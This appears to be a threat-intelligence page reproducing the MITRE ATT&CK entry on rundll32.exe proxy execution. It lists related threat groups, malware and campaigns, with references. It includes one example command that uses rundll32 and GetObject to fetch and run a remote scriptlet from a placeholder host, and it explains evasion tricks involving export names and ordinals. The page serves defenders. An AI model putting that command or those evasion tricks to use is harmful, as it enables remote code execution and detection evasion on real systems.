H3XAOperational intelligence
Live analytical pictureEvidence before assessment
TypeTechnique
External ID—
First seen2026-08-14
Last seen2026-08-14

Confidence

—

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction} ). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser . Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion) Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll ) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction , rundll32.exe would first attempt to execute ExampleFunctionW , or failing that ExampleFunctionA , before loading ExampleFunction ). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1 ). Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

106 recorded

Relationships

mitigatesMitigation
revoked-byTechnique
subtechnique-ofTechnique
usesMalware
uses
from APT19
Group
uses
from APT28
Group
uses
from APT3
Group
uses
from APT32
Group
uses
from APT38
Group
uses
from APT41
Group
usesGroup
uses
from Attor
Malware
usesMalware
usesMalware
uses
from Bisonal
Malware
usesMalware
usesGroup
uses
from BoomBox
Malware
uses
from Briba
Malware
usesMalware
uses
from C0015
Campaign
uses
from C0018
Campaign
uses
from C0021
Campaign
usesGroup
usesMalware
uses
from Comnie
Malware
usesGroup
usesMalware
uses
from CozyCar
Malware
usesGroup
uses
from DDKONG
Malware
uses
from DEADEYE
Malware
uses
from Egregor
Malware
uses
from Elise
Malware
usesMalware
usesMalware
uses
from EVILNUM
Malware
uses
from FatDuke
Malware
usesMalware
uses
from FIN7
Group
uses
from Flame
Malware
usesMalware
usesMalware
usesGroup
usesMalware
usesMalware
uses
from HAFNIUM
Group
usesMalware
usesMalware
uses
from IcedID
Malware
usesMalware
usesMalware
uses
from Kapeka
Malware
uses
from Kimsuky
Group
uses
from Koadic
Tool
uses
from KONNI
Malware
usesMalware
usesMalware
usesGroup
usesGroup
usesGroup
usesMalware
usesMalware
uses
from Mispadu
Malware
uses
from Mongall
Malware
usesMalware
usesGroup
usesMalware
uses
from Ninja
Malware
uses
from NOKKI
Malware
usesMalware
usesCampaign
usesCampaign
uses
from PcShare
Tool
usesMalware
usesMalware
usesMalware
usesMalware
usesMalware
uses
from QakBot
Malware
usesMalware
usesMalware
uses
from RedCurl
Group
uses
from RTM
Malware
uses
from Sakula
Malware
usesGroup
uses
from SDBbot
Malware
usesMalware
uses
from Sibot
Malware
usesCampaign
usesMalware
usesGroup
usesMalware
usesMalware
usesMalware
usesMalware
uses
from TA505
Group
uses
from TA551
Group
usesMalware
uses
from UNC3886
Group
usesMalware
usesMalware
usesGroup
uses
from ZxShell
Malware
8 external

References

mitre-attack
T1218.011
open
rundll32.exe defense evasion
https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/
open
Attackify Rundll32.exe Obscurity
https://www.attackify.com/blog/rundll32_execution_order/
open
This is Security Command Line Confusion
https://www.stormshield.com/news/poweliks-command-line-confusion/
open
Github NoRunDll
https://github.com/gtworek/PSBits/tree/master/NoRunDll
open
lolbas project Ieframe.dll
https://lolbas-project.github.io/lolbas/Libraries/Ieframe/
open
lolbas project Zipfldr.dll
https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/
open
Trend Micro CPL
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
open